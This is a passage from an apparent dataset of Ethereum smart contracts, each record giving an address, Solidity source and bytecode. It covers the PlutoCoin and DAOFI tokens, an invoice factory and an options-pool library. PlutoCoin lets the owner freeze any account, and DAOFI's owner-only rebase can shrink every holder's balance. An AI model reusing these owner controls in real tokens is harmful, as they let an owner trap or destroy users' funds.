ffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d9281cd6328da7c1e644de0949f6ff39b890f3b94588bf3c53a7aad7a6f3e77364736f6c634300060c0033
[ 38 ]
0xf38011f9153acffaca3fbfc42ddfa766c980d967
pragma solidity ^0.4.26; contract Context { function _msgSender() internal view returns (address) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract StandardToken is ERC20, BasicToken, Ownable { mapping (address => mapping (address => uint256)) internal allowed; mapping (address => bool) internal locked; function getLockedStatus(address _account) public view returns (bool) { return locked[_account]; } function lockAccount(address _account) public onlyOwner returns (bool) { locked[_account] = true; return true; } function unlockAccount(address _account) public onlyOwner returns (bool) { locked[_account] = false; return true; } function transfer(address _to, uint256 _value) public returns (bool) { require(!locked[msg.sender], "This account is locked. so, you can not transfer token to receiver..."); require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(!locked[_from], "This account is locked. so, you can not transfer token to receiver..."); require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PlutoCoin is StandardToken { string public constant name = "PLUTO"; // string public constant symbol = "PLUT"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 1e9 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a57806318160ddd146101c257806323b872dd146101e95780632ff2e9dc14610213578063313ce5671461022857806347a64f4414610253578063661884631461027457806370a0823114610298578063715018a6146102b95780638da5cb5b146102d0578063905295e31461030157806395d89b4114610322578063a9059cbb14610337578063d73dd6231461035b578063dd62ed3e1461037f578063ed153dc5146103a6578063f2fde38b146103c7575b600080fd5b34801561010c57600080fd5b506101156103e8565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014f578181015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019657600080fd5b506101ae600160a060020a036004351660243561041f565b604080519115158252519081900360200190f35b3480156101ce57600080fd5b506101d7610485565b60408051918252519081900360200190f35b3480156101f557600080fd5b506101ae600160a060020a036004358116906024351660443561048b565b34801561021f57600080fd5b506101d76106bd565b34801561023457600080fd5b5061023d6106cd565b6040805160ff9092168252519081900360200190f35b34801561025f57600080fd5b506101ae600160a060020a03600435166106d2565b34801561028057600080fd5b506101ae600160a060020a0360043516602435610758565b3480156102a457600080fd5b506101d7600160a060020a0360043516610848565b3480156102c557600080fd5b506102ce610863565b005b3480156102dc57600080fd5b506102e5610915565b60408051600160a060020a039092168252519081900360200190f35b34801561030d57600080fd5b506101ae600160a060020a0360043516610924565b34801561032e57600080fd5b506101156109a6565b34801561034357600080fd5b506101ae600160a060020a03600435166024356109dd565b34801561036757600080fd5b506101ae600160a060020a0360043516602435610b70565b34801561038b57600080fd5b506101d7600160a060020a0360043581169060243516610c09565b3480156103b257600080fd5b506101ae600160a060020a0360043516610c34565b3480156103d357600080fd5b506102ce600160a060020a0360043516610c52565b60408051808201909152600581527f504c55544f000000000000000000000000000000000000000000000000000000602082015281565b336000818152600360209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b600160a060020a03831660009081526004602052604081205460ff1615610548576040805160e560020a62461bcd02815260206004820152604560248201527f54686973206163636f756e74206973206c6f636b65642e20736f2c20796f752060448201527f63616e206e6f74207472616e7366657220746f6b656e20746f2072656365697660648201527f65722e2e2e000000000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b600160a060020a038316151561055d57600080fd5b600160a060020a03841660009081526020819052604090205482111561058257600080fd5b600160a060020a03841660009081526003602090815260408083203384529091529020548211156105b257600080fd5b600160a060020a0384166000908152602081905260409020546105db908363ffffffff610d9c16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610610908363ffffffff610dae16565b600160a060020a03808516600090815260208181526040808320949094559187168152600382528281203382529091522054610652908363ffffffff610d9c16565b600160a060020a03808616600081815260036020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6b033b2e3c9fd0803ce800000081565b601281565b60006106dc610dc4565b600254600160a060020a0390811691161461072f576040805160e560020a62461bcd0281526020600482018190526024820152600080516020610dc9833981519152604482015290519081900360640190fd5b50600160a060020a03166000908152600460205260409020805460ff1916600190811790915590565b336000908152600360209081526040808320600160a060020a0386168452909152812054808311156107ad57336000908152600360209081526040808320600160a060020a03881684529091528120556107e2565b6107bd818463ffffffff610d9c16565b336000908152600360209081526040808320600160a060020a03891684529091529020555b336000818152600360209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b61086b610dc4565b600254600160a060020a039081169116146108be576040805160e560020a62461bcd0281526020600482018190526024820152600080516020610dc9833981519152604482015290519081900360640190fd5b600254604051600091600160a060020a0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36002805473ffffffffffffffffffffffffffffffffffffffff19169055565b600254600160a060020a031690565b600061092e610dc4565b600254600160a060020a03908116911614610981576040805160e560020a62461bcd0281526020600482018190526024820152600080516020610dc9833981519152604482015290519081900360640190fd5b50600160a060020a03166000908152600460205260409020805460ff19169055600190565b60408051808201909152600481527f504c555400000000000000000000000000000000000000000000000000000000602082015281565b3360009081526004602052604081205460ff1615610a91576040805160e560020a62461bcd02815260206004820152604560248201527f54686973206163636f756e74206973206c6f636b65642e20736f2c20796f752060448201527f63616e206e6f74207472616e7366657220746f6b656e20746f2072656365697660648201527f65722e2e2e000000000000000000000000000000000000000000000000000000608482015290519081900360a40190fd5b600160a060020a0383161515610aa657600080fd5b33600090815260208190526040902054821115610ac257600080fd5b33600090815260208190526040902054610ae2908363ffffffff610d9c16565b3360009081526020819052604080822092909255600160a060020a03851681522054610b14908363ffffffff610dae16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600360209081526040808320600160a060020a0386168452909152812054610ba4908363ffffffff610dae16565b336000818152600360209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b600160a060020a031660009081526004602052604090205460ff1690565b610c5a610dc4565b600254600160a060020a03908116911614610cad576040805160e560020a62461bcd0281526020600482018190526024820152600080516020610dc9833981519152604482015290519081900360640190fd5b600160a060020a0381161515610d33576040805160e560020a62461bcd02815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600254604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610da857fe5b50900390565b600082820183811015610dbd57fe5b9392505050565b339056004f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a165627a7a72305820f5a42d692663f5eb7ae63a4ccdec7d2bd997c9e265e64f55aa34876beb28a38d0029
[ 38 ]
0xf3802f89f0cef5ae466091c4724d1979d6795725
pragma solidity 0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable { address public _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () public { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract DAOFI is Ownable { using SafeMath for uint256; event LogRebase(uint256 indexed epoch, uint256 totalSupply); modifier validRecipient(address to) { require(to != address(this)); _; } event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); string public constant name = "daofi.finance"; string public constant symbol = "DAOFI"; uint256 public constant decimals = 18; uint256 private constant DECIMALS = 18; uint256 private constant MAX_UINT256 = ~uint256(0); uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 111000 * 10**DECIMALS; uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY); uint256 private constant MAX_SUPPLY = ~uint128(0); uint256 private _totalSupply; uint256 private _gonsPerFragment; mapping(address => uint256) private _gonBalances; mapping (address => mapping (address => uint256)) private _allowedFragments; function rebase(uint256 epoch, uint256 supplyDelta) external onlyOwner returns (uint256) { if (supplyDelta == 0) { emit LogRebase(epoch, _totalSupply); return _totalSupply; } _totalSupply = _totalSupply.sub(supplyDelta); if (_totalSupply > MAX_SUPPLY) { _totalSupply = MAX_SUPPLY; } _gonsPerFragment = TOTAL_GONS.div(_totalSupply); emit LogRebase(epoch, _totalSupply); return _totalSupply; } constructor() public override { _owner = msg.sender; _totalSupply = INITIAL_FRAGMENTS_SUPPLY; _gonBalances[_owner] = TOTAL_GONS; _gonsPerFragment = TOTAL_GONS.div(_totalSupply); emit Transfer(address(0x0), _owner, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address who) public view returns (uint256) { return _gonBalances[who].div(_gonsPerFragment); } function transfer(address to, uint256 value) public validRecipient(to) returns (bool) { uint256 gonValue = value.mul(_gonsPerFragment); _gonBalances[msg.sender] = _gonBalances[msg.sender].sub(gonValue); _gonBalances[to] = _gonBalances[to].add(gonValue); emit Transfer(msg.sender, to, value); return true; } function allowance(address owner_, address spender) public view returns (uint256) { return _allowedFragments[owner_][spender]; } function transferFrom(address from, address to, uint256 value) public validRecipient(to) returns (bool) { _allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value); uint256 gonValue = value.mul(_gonsPerFragment); _gonBalances[from] = _gonBalances[from].sub(gonValue); _gonBalances[to] = _gonBalances[to].add(gonValue); emit Transfer(from, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { _allowedFragments[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _allowedFragments[msg.sender][spender] = _allowedFragments[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { uint256 oldValue = _allowedFragments[msg.sender][spender]; if (subtractedValue >= oldValue) { _allowedFragments[msg.sender][spender] = 0; } else { _allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue); } emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]); return true; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb146102f1578063b2bdfa7b1461031d578063dd62ed3e14610325578063f2fde38b1461035357610100565b8063715018a61461028f5780638da5cb5b1461029957806395d89b41146102bd578063a457c2d7146102c557610100565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610235578063395093511461023d57806370a082311461026957610100565b8063058ecdb41461010557806306fdde031461013a578063095ea7b3146101b757806318160ddd146101f7575b600080fd5b6101286004803603604081101561011b57600080fd5b5080359060200135610379565b60408051918252519081900360200190f35b6101426104b0565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017c578181015183820152602001610164565b50505050905090810190601f1680156101a95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101e3600480360360408110156101cd57600080fd5b506001600160a01b0381351690602001356104d9565b604080519115158252519081900360200190f35b61012861053f565b6101e36004803603606081101561021557600080fd5b506001600160a01b03813581169160208101359091169060400135610545565b610128610691565b6101e36004803603604081101561025357600080fd5b506001600160a01b038135169060200135610696565b6101286004803603602081101561027f57600080fd5b50356001600160a01b031661072f565b61029761075d565b005b6102a1610806565b604080516001600160a01b039092168252519081900360200190f35b610142610815565b6101e3600480360360408110156102db57600080fd5b506001600160a01b038135169060200135610836565b6101e36004803603604081101561030757600080fd5b506001600160a01b038135169060200135610925565b6102a1610a0a565b6101286004803603604081101561033b57600080fd5b506001600160a01b0381358116916020013516610a19565b6102976004803603602081101561036957600080fd5b50356001600160a01b0316610a44565b600080546001600160a01b031633146103d9576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b8161041f57600154604080519182525184917f72725a3b1e5bd622d6bcd1339bb31279c351abe8f541ac7fd320f24e1b1641f2919081900360200190a2506001546104aa565b600154610432908363ffffffff610b4316565b60018190556001600160801b031015610451576001600160801b036001555b60015461046a9069030fbf4877a24e5fffff1990610b8c565b600255600154604080519182525184917f72725a3b1e5bd622d6bcd1339bb31279c351abe8f541ac7fd320f24e1b1641f2919081900360200190a2506001545b92915050565b6040518060400160405280600d81526020016c64616f66692e66696e616e636560981b81525081565b3360008181526004602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000826001600160a01b03811630141561055e57600080fd5b6001600160a01b0385166000908152600460209081526040808320338452909152902054610592908463ffffffff610b4316565b6001600160a01b03861660009081526004602090815260408083203384529091528120919091556002546105cd90859063ffffffff610bce16565b6001600160a01b0387166000908152600360205260409020549091506105f9908263ffffffff610b4316565b6001600160a01b03808816600090815260036020526040808220939093559087168152205461062e908263ffffffff610c2716565b6001600160a01b0380871660008181526003602090815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600195945050505050565b601281565b3360009081526004602090815260408083206001600160a01b03861684529091528120546106ca908363ffffffff610c2716565b3360008181526004602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6002546001600160a01b03821660009081526003602052604081205490916104aa919063ffffffff610b8c16565b6000546001600160a01b031633146107bc576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6040518060400160405280600581526020016444414f464960d81b81525081565b3360009081526004602090815260408083206001600160a01b038616845290915281205480831061088a573360009081526004602090815260408083206001600160a01b03881684529091528120556108bf565b61089a818463ffffffff610b4316565b3360009081526004602090815260408083206001600160a01b03891684529091529020555b3360008181526004602090815260408083206001600160a01b0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000826001600160a01b03811630141561093e57600080fd5b600061095560025485610bce90919063ffffffff16565b33600090815260036020526040902054909150610978908263ffffffff610b4316565b33600090815260036020526040808220929092556001600160a01b038716815220546109aa908263ffffffff610c2716565b6001600160a01b0386166000818152600360209081526040918290209390935580518781529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001949350505050565b6000546001600160a01b031681565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b03163314610aa3576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610ae85760405162461bcd60e51b8152600401808060200182810382526026815260200180610d7e6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610b8583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c81565b9392505050565b6000610b8583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d18565b600082610bdd575060006104aa565b82820282848281610bea57fe5b0414610b855760405162461bcd60e51b8152600401808060200182810382526021815260200180610da46021913960400191505060405180910390fd5b600082820183811015610b85576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008184841115610d105760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610cd5578181015183820152602001610cbd565b50505050905090810190601f168015610d025780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610d675760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610cd5578181015183820152602001610cbd565b506000838581610d7357fe5b049594505050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220e6dd6a932198fb093e4221610103fdd703be469f8515eedd70ddf2e88629310764736f6c63430006000033
[ 38 ]
0xf381a14cab83b435d72f389d815d3f7178b73faf
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import {SimpleInvoice} from "./Invoice.sol"; /// @title The InvoiceFactory allows withdrawing ERC20 tokens from a temporary Invoice /// @author davy42 /// @notice The InvoiceFactory can compute the address for deposit and withdraw funds /// @dev The InvoiceFactory use the bytecode of the Invoice contract with dynamic token and receiver addresses contract InvoiceFactory { bytes constant private invoiceCreationCode = type(SimpleInvoice).creationCode; /// @notice Witdraws erc20 tokens from the deposit wallet and send to the receiver /// @param salt The unique salt /// @param token The address of the erc20 token which will be withdrawed /// @param receiver The address which will get tokens /// @return wallet the address of the wallet function withdraw(uint256 salt, address token, address receiver) external returns (address wallet) { bytes memory bytecode = getByteCode(token, receiver); assembly { wallet := create2(0, add(bytecode, 0x20), mload(bytecode), salt) } require(wallet != address(0), "Create2: Failed on deploy"); } /// @notice Returns the address of the wallet /// @dev Compute address for depositing funds using salt, token and receivers /// @param salt The unique salt /// @param token The address of the erc20 token which will be deposited /// @param receiver The address which will get tokens when withdraw /// @return wallet the address of the wallet function computeAddress(uint256 salt, address token, address receiver) public view returns (address) { bytes32 _data = keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, keccak256(getByteCode(token, receiver)))); return address(uint160(uint256(_data))); } /// @notice Generate the bytecode of wallet contract with token and receiver /// @dev Explain to a developer any extra details /// @param token The address of the erc20 token which will be deposited /// @param receiver The address which will get tokens when withdraw /// @return bytecode the bytecode of the wallet contract function getByteCode(address token, address receiver) private pure returns (bytes memory bytecode) { bytecode = abi.encodePacked(invoiceCreationCode, abi.encode(token, receiver)); } }
0x608060405234801561001057600080fd5b50600436106100365760003560e01c80638ac6f3ef1461003b578063b460af941461008b575b600080fd5b61006f6004803603606081101561005157600080fd5b508035906001600160a01b03602082013581169160400135166100bf565b604080516001600160a01b039092168252519081900360200190f35b61006f600480360360608110156100a157600080fd5b508035906001600160a01b036020820135811691604001351661013f565b6000806001600160f81b031930866100d787876101be565b8051906020012060405160200180856001600160f81b0319168152600101846001600160a01b031660601b81526014018381526020018281526020019450505050506040516020818303038152906040528051906020012090508060001c9150509392505050565b6000606061014d84846101be565b9050848151602083016000f591506001600160a01b0382166101b6576040805162461bcd60e51b815260206004820152601960248201527f437265617465323a204661696c6564206f6e206465706c6f7900000000000000604482015290519081900360640190fd5b509392505050565b6060604051806020016101d0906102c5565b601f1982820381018352601f9091011660408181526001600160a01b038087166020848101919091529086168284015281518084038301815260608401909252835191926080019182918501908083835b602083106102405780518252601f199092019160209182019101610221565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b602083106102885780518252601f199092019160209182019101610269565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052905092915050565b61012b806102d38339019056fe608060405234801561001057600080fd5b5060405161012b38038061012b8339818101604052604081101561003357600080fd5b508051602091820151604080516370a0823160e01b81523060048201529051929391926001600160a01b0385169263a9059cbb92859285926370a082319260248082019391829003018186803b15801561008c57600080fd5b505afa1580156100a0573d6000803e3d6000fd5b505050506040513d60208110156100b657600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039093166004840152602483019190915251604480830192600092919082900301818387803b15801561010657600080fd5b505af115801561011a573d6000803e3d6000fd5b50505050806001600160a01b0316fffea2646970667358221220812457fe577ed5e153b47ee3ae307a37972734b20d1409350c59bcc6d1d1936964736f6c63430007000033
[ 17 ]
0xf381bb51bc43bdedbb1cfc4daa79a644f9069f04
pragma solidity ^0.6.6; pragma experimental ABIEncoderV2; import "./SafeMath.sol"; import "./IACOPoolStrategy.sol"; import "./IACOFactory.sol"; import "./IACOToken.sol"; import "./ILendingPool.sol"; library ACOPoolLib { using SafeMath for uint256; struct OpenPositionData { uint256 underlyingPrice; uint256 baseVolatility; uint256 underlyingPriceAdjustPercentage; uint256 fee; uint256 underlyingPrecision; address strategy; address acoFactory; address acoToken; } struct QuoteData { bool isCall; uint256 tokenAmount; address underlying; address strikeAsset; uint256 strikePrice; uint256 expiryTime; address lendingToken; address strategy; uint256 baseVolatility; uint256 fee; uint256 minExpiration; uint256 maxExpiration; uint256 tolerancePriceBelow; uint256 tolerancePriceAbove; uint256 underlyingPrice; uint256 underlyingPrecision; } struct OpenPositionExtraData { bool isCall; uint256 strikePrice; uint256 expiryTime; uint256 tokenAmount; address underlying; address strikeAsset; } uint256 public constant PERCENTAGE_PRECISION = 100000; function name(address underlying, address strikeAsset, bool isCall) public view returns(string memory) { return string(abi.encodePacked( "ACO POOL WRITE ", _getAssetSymbol(underlying), "-", _getAssetSymbol(strikeAsset), "-", (isCall ? "CALL" : "PUT") )); } function acoStrikePriceIsValid( uint256 tolerancePriceBelow, uint256 tolerancePriceAbove, uint256 strikePrice, uint256 price ) public pure returns(bool) { return (tolerancePriceBelow == 0 && tolerancePriceAbove == 0) || (tolerancePriceBelow == 0 && strikePrice > price.mul(PERCENTAGE_PRECISION.add(tolerancePriceAbove)).div(PERCENTAGE_PRECISION)) || (tolerancePriceAbove == 0 && strikePrice < price.mul(PERCENTAGE_PRECISION.sub(tolerancePriceBelow)).div(PERCENTAGE_PRECISION)) || (strikePrice >= price.mul(PERCENTAGE_PRECISION.sub(tolerancePriceBelow)).div(PERCENTAGE_PRECISION) && strikePrice <= price.mul(PERCENTAGE_PRECISION.add(tolerancePriceAbove)).div(PERCENTAGE_PRECISION)); } function acoExpirationIsValid(uint256 acoExpiryTime, uint256 minExpiration, uint256 maxExpiration) public view returns(bool) { return acoExpiryTime >= block.timestamp.add(minExpiration) && acoExpiryTime <= block.timestamp.add(maxExpiration); } function getBaseAssetsWithdrawWithLocked( uint256 shares, address underlying, address strikeAsset, bool isCall, uint256 totalSupply, address lendingToken ) public view returns( uint256 underlyingWithdrawn, uint256 strikeAssetWithdrawn ) { uint256 underlyingBalance = _getPoolBalanceOf(underlying); uint256 strikeAssetBalance; if (isCall) { strikeAssetBalance = _getPoolBalanceOf(strikeAsset); } else { strikeAssetBalance = _getPoolBalanceOf(lendingToken); } underlyingWithdrawn = underlyingBalance.mul(shares).div(totalSupply); strikeAssetWithdrawn = strikeAssetBalance.mul(shares).div(totalSupply); } function getBaseWithdrawNoLockedData( uint256 shares, uint256 totalSupply, bool isCall, uint256 underlyingBalance, uint256 strikeAssetBalance, uint256 collateralBalance, uint256 collateralLockedRedeemable ) public pure returns( uint256 underlyingWithdrawn, uint256 strikeAssetWithdrawn, bool isPossible ) { uint256 collateralAmount = shares.mul(collateralBalance).div(totalSupply); if (isCall) { underlyingWithdrawn = collateralAmount; strikeAssetWithdrawn = strikeAssetBalance.mul(shares).div(totalSupply); isPossible = (collateralAmount <= underlyingBalance.add(collateralLockedRedeemable)); } else { strikeAssetWithdrawn = collateralAmount; underlyingWithdrawn = underlyingBalance.mul(shares).div(totalSupply); isPossible = (collateralAmount <= strikeAssetBalance.add(collateralLockedRedeemable)); } } function getAmountToLockedWithdraw( uint256 shares, uint256 totalSupply, address lendingToken, address underlying, address strikeAsset, bool isCall ) public view returns( uint256 underlyingWithdrawn, uint256 strikeAssetWithdrawn ) { uint256 underlyingBalance = _getPoolBalanceOf(underlying); uint256 strikeAssetBalance; if (isCall) { strikeAssetBalance = _getPoolBalanceOf(strikeAsset); } else { strikeAssetBalance = 